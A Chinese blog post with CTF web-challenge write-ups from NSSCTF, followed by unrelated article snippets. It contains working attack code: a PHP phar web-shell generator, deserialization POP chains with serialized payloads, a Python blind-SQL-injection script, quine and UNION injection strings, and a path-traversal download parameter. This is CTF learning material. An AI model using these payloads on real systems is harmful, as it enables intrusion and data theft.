NSSCTF刷web(2)

[NISACTF 2022]bingdundun~

在这里插入图片描述
bingdundun处感觉像文件包含,改upload为index
发现确实,猜测会补一个后缀.php
那常规文件包含都不行了,这里还有一个文件上传的功能,考虑phar协议

<?php$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();");
$phar->addFromString("test.php",'<?php eval($_GET[1]);?>');
$phar->stopBuffering();

生成的phar文件改后缀zip上传

[HDCTF 2023]Welcome To HDCTF 2023

在这里插入图片描述
死了也行直接给的

[NISACTF 2022]midlevel

Smarty ssti
感觉刚做过
在这里插入图片描述

[GKCTF 2020]cve版签到

在这里插入图片描述

[GXYCTF 2019]BabyUpload

.htaccess
常规的命令执行函数给ban了
用无参rce的方式读一下根目录的文件,看看flag叫什么
在这里插入图片描述
scandir(array_rand(array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd()))))))));
就叫flag,那直接读
在这里插入图片描述

[NSSCTF 2022 Spring Recruit]babyphp

在这里插入图片描述

[GDOUCTF 2023]EZ WEB

在这里插入图片描述
在这里插入图片描述

[NISACTF 2022]popchains

在这里插入图片描述
在这里插入图片描述

<?phpif(isset($_GET['wish'])){@unserialize($_GET['wish']);
}class Road_is_Long{public $page;public $string;public function __construct($file='index.php'){$this->page = $file;}public function __toString(){// 3return $this->string->page;}public function __wakeup(){if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {// 4echo "You can Not Enter 2022";$this->page = "index.php";}}
}class Try_Work_Hard{protected  $var;public function __construct($var){$this -> var = $var;}public function append($value){// 0include($value);}public function __invoke(){$this->append($this->var);// 1}
}class Make_a_Change{public $effort;public function __construct(){$this->effort = array();}public function __get($key){// 2$function = $this->effort;return $function();}
}
$p = new Road_is_Long();
$R = new Road_is_Long();
$p -> page = $R;
$M = new Make_a_Change();
$R -> string = $M;
$T =new Try_Work_Hard('/flag');
$M -> effort = $T;
echo urlencode(serialize($p))."\n";

O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A9%3A%22index.php%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

[CISCN 2019华北Day2]Web1

import requestsurl = 'http://node2.anna.nssctf.cn:28640//index.php'flag = ''for i in range(1, 100):s = 33e = 130mid = (e + s)>>1while True:payload = {'id': 'if(ascii(substr((select(flag)from(flag)),{},1))>{},1,0)'.format(i, mid)}res = requests.post(url=url, data=payload).textif 'Hello, glzjin wants a girlfriend.' in res:s = midelse:e = midmid = (e + s)>>1if (e-s) <= 1:flag += chr(e)print(flag)breakif '}' in flag:break

[NSSRound#1 Basic]basic_check

无从下手,看wp是说允许PUT可以直接写马

在这里插入图片描述
在这里插入图片描述

[HCTF 2018]Warmup

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[HNCTF 2022 Week1]2048

在这里插入图片描述

在这里插入图片描述

[LitCTF 2023]Http pro max plus

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[GDOUCTF 2023]泄露的伪装

在这里插入图片描述
在这里插入图片描述

[HNCTF 2022 Week1]Interesting_include在这里插入图片描述

[第五空间 2021]pklovecloud

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<?php  
include 'flag.php';
class pkshow 
{  function echo_name()     {          return "Pk very safe^.^";      }  
} class acp 
{   protected $cinder;  public $neutron;public $nova;function __construct($p) {      $this->cinder = $p;}  function __toString()      {          if (isset($this->cinder))  return $this->cinder->echo_name();      }  
}  class ace
{    public $filename;     public $openstack;public $docker; public function __construct(){$this->filename = '../../../../../nssctfasdasdflag';}function echo_name()      {   $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}$ACE = new ace();
$pop = new acp($ACE);echo urlencode(serialize($pop));

[鹤城杯 2021]Middle magic

在这里插入图片描述

[GKCTF 2021]easycms

在这里插入图片描述

弱口令 admin 12345
在这里插入图片描述
蝉知7.7网上找漏洞
然后尝试复现,我当时做的时候可以执行whoami,当时没做完干别的去了,过几天回来做又不能复现rce的漏洞了
那就和别人wp里写的一样任意文件下载

?m=ui&f=downloadtheme&theme=L2ZsYWc=

[SWPUCTF 2022 新生赛]ez_rce

在这里插入图片描述
在这里插入图片描述
getshell在这里插入图片描述

直接读flag读不到
搜一下flag
find / -name "flag"
在这里插入图片描述
find / -name "flag" -type f -exec cat {} \;
在这里插入图片描述

[羊城杯 2020]easycon

在这里插入图片描述
base64解码得到flag
在这里插入图片描述

[LitCTF 2023]这是什么?SQL !注一下 !

-1))))))union select 1,group_concat(flag)from ctftraining.flag%23

[第五空间 2021]yet_another_mysql_injection

admin admin 爆hacker
然后我在这手工测了一会 没什么思路
右键看源码
然后跟进/?source

意思是传的password和查询的password要相同 quine注入

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

看wp发现第二种做法
phpmyadmin
弱口令 admin admin
在这里插入图片描述
登录就行了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/3321.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小马识途分享百度百科收录词条的规则

百度百科词条是人人都可以编辑的&#xff0c;并且都是免费创建&#xff0c;但是自己创建百科词条往往审核不通过&#xff0c;一般企业会把这项任务委托给有经验的营销团队。这里小马识途营销顾问分享一下百度百科收录词条的规则。 百度百科收录规则主要分为&#xff1a;规范词条…

【excel细碎小知识点】

目录索引 &符号的用法&#xff1a;实例演示&#xff1a; 数字显示和位数的区别&#xff1a;分列功能的妙用&#xff1a;什么叫做常规类型&#xff1a; &符号的用法&#xff1a; **连接字符串:**转化后都是文本字符串类型。你可以通过修改数据类型进行更多可能的操作 实…

【Go语言开发】简单了解一下搜索引擎并用go写一个demo

写在前面 这篇文章我们一起来了解一下搜索引擎的原理&#xff0c;以及用go写一个小demo来体验一下搜索引擎。 简介 搜索引擎一般简化为三个步骤 爬虫&#xff1a;爬取数据源&#xff0c;用做搜索数据支持。索引&#xff1a;根据爬虫爬取到的数据进行索引的建立。排序&#xf…

prometheus调整默认数据存储时间

调整kubernetes部署的prometheus数据存储时间 由于prometheus是用kuberentes部署的&#xff0c;没办法像传统部署方式那种直接在启动参数增加存储时间的参数。需要在configmap里或者在deployment里添加&#xff0c;我这里使用的方式是在deployement里添加调整存储时间的参数。…

学会在重装系统前如何备份软件,再也不怕失去珍贵的应用!

​Windows系统是电脑的重要组成部分&#xff0c;它不仅提供了友好的用户界面&#xff0c;还承担着许多关键的功能和任务&#xff0c;为我们提供了一个稳定、安全和效率的工作环境&#xff0c;使我们能够充分发挥电脑的潜力&#xff0c;优化工作效率和生活品质。 随着系统使…

为 GitHub 设置 SSH 密钥

1. 起因 给自己的 github 改个名&#xff0c;顺便就给原来 Hexo 对应的仓库也改了个名。然后发现 ubhexo clean && hexo generate && hexo deploy 失败了&#xff0c;报错如下&#xff1a; INFO Deploying: git INFO Clearing .deploy_git folder... INFO …

软件渗透测试真的很重要吗?渗透测试有哪些测试流程?

软件渗透测试是指通过模拟恶意攻击者的行为&#xff0c;评估软件系统中的潜在安全漏洞和弱点的活动。这种安全测试方法能够帮助开发人员和系统管理员发现并修复潜在的安全漏洞&#xff0c;以确保软件系统的安全性和完整性。软件渗透测试是一项高度技术性的任务&#xff0c;需要…

javaee jsp页面 九大内置对象和四大作用域

九大内置对象四大域 一、四大域 域对象的作用:保存数据,获取数据,共享数据 作用域从小到大为&#xff1a;PageContext&#xff08;jsp页面&#xff09;&#xff0c;ServletRequest&#xff08;一次请求&#xff09;&#xff0c;HttpSession&#xff08;一次会话&#xff09;&am…

如何使用MATLAB软件完成生态碳汇涡度相关监测与通量数据分析

MATLAB MATLAB是美国MathWorks公司出品的商业数学软件&#xff0c;用于数据分析、无线通信、深度学习、图像处理与计算机视觉、信号处理、量化金融与风险管理、机器人&#xff0c;控制系统等领域。 [1] MATLAB是matrix&laboratory两个词的组合&#xff0c;意为矩阵工厂&a…

postgresql导入导出数据库的一些问题

新建一个数据库 别忘了添加空间数据的扩展 备份之前的数据库 注意一定要自定义表&#xff0c;去掉 spatial_ref_sys &#xff0c;要不然需要先drop在创建&#xff0c;可能会报错。 一般不会去导函数&#xff0c;如果有个别自己创建的函数可以手动复制一下&#xff0c;全部导的话…

Centos 7 使用国内镜像源更新内核

内核选择参考 此博文 &#xff1a;https://blog.csdn.net/alwaysbefine/article/details/108931626 elrepo官网介绍的内核升级方式为&#xff1a; 一、按文档执行引入 elrepo库&#xff1b; # 1、引入公钥 rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org# 2、安…

微服务系列文章 之 Nginx服务状态监控的方法

在Nginx的插件模块中有一个模块stub_status可以监控Nginx的一些状态信息&#xff0c;默认安装可能没有这个模块&#xff0c;手动编译的时候加一下即可。 1. 模块安装 先使用命令查看是否已经安装这个模块&#xff1a; [rootihxb123Z nginx]# ./nginx -V (V大写会显示版本号和…

sql练习题

DQL练习1-学生表 创建如下学生表 create table student( id int, name varchar(20), gender varchar(20), chinese int, math int, english int ); insert into student values (1,张明,男,89,78,90), (2,李进,男…

系统学习Linux-SSH远程服务(二)

概念 安全外壳协议&#xff0c;提供安全可靠的远程连接 特点 ssh是工作在传输层和应用层的协议 ssh提供了一组管理命令 ssh 远程登陆 scp 远程拷贝 sftp 远程上传下载 ssh-copy-id ssh keygen 生成 提供了多种身份验证机制 身份验证机制 密码验证 需要提供密码 密…

pyGPlates + GPlately + PlateTectonicTools——深时时空数据分析

pyGPlates GPlately PlateTectonicTools——深时时空数据分析 摘要介绍准备example 1&#xff1a;通过DataServer对象从EarthByte serves上获取板块模型 板块重建 资料来源备注&#xff1a; gplately API文档 摘要 GPlates作为桌面图形用户界面应用&#xff0c;可用于深时地…

计算机网络 day6 arp病毒 - ICMP协议 - ping命令 - Linux手工配置IP地址

目录 arp协议 arp病毒\欺骗 arp病毒的运行原理 arp病毒产生的后果&#xff1a; 解决方法&#xff1a; ICMP协议 ICMP用在哪里&#xff1f; ICMP协议数据的封装过程 ​编辑 为什么icmp协议封装好数据后&#xff0c;还要加一个ip包头&#xff0c;再使用ip协议再次进…

【ArcGIS Pro二次开发】(50):布局(Layout)的基本操作

ArcGIS Pro SDK中的布局(Layout)是用于创建和编辑打印布局的一组功能。 Layout是打印布局的容器&#xff0c;它可以包含多个元素&#xff0c;例如地图框、文本框、图例、比例尺等。 Layout中包含多种元素&#xff0c;比较重要的有&#xff1a;地图(MapFrameElement&#xff0…

Android Hook技术实战详解

前些天发现了一个蛮有意思的人工智能学习网站,8个字形容一下"通俗易懂&#xff0c;风趣幽默"&#xff0c;感觉非常有意思,忍不住分享一下给大家。 &#x1f449;点击跳转到教程 前言&#xff1a; 什么是Android Hook技术&#xff1f; Android Hook技术是指在Android…

1.6 运维分类与工作内容

文章目录 运维分类与工作内容1. 系统运维2. 网络运维3. 数据库运维4. 应用运维5. 安全运维结论 运维分类与工作内容 运维&#xff08;Operations and Maintenance&#xff0c;简称O&M&#xff09;是信息技术领域中负责管理和维护企业的信息技术基础设施的重要职能。随着技…

Python爬虫学习笔记(八)————Phantomjs与Chrome handless

目录 1.Phantomjs &#xff08;1&#xff09;什么是Phantomjs&#xff1f; &#xff08;2&#xff09;如何使用Phantomjs&#xff1f; 2 .Chrome handless &#xff08;1&#xff09;系统要求&#xff1a; &#xff08;2&#xff09;配置&#xff1a; &#xff08;3&…